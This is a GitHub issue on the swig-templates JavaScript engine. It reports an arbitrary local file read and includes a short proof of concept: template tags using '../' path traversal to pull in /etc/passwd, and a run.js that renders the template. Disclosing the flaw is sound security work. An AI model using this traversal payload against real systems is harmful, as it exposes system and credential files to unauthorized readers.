node-swig / swig-templates

Take a swig of the best template engine for JavaScript.
http://node-swig.github.io/swig-templates/
MIT License
209 stars 29 forks source link

Security Issue: arbitrary local file read vulnerability during template rendering #88

Open y1nglamore opened 1 year ago

y1nglamore commented 1 year ago

official doc:

poc:

1.html
{% extends '../../../../../etc/passwd' %}
{% include '../../../../../etc/passwd' %}
// run.js
var swig = require('swig');
var output = swig.renderFile('/Users/bytedance/Desktop/swig/tpl.html');
console.log(output);

output: m1-133941_byZ4O5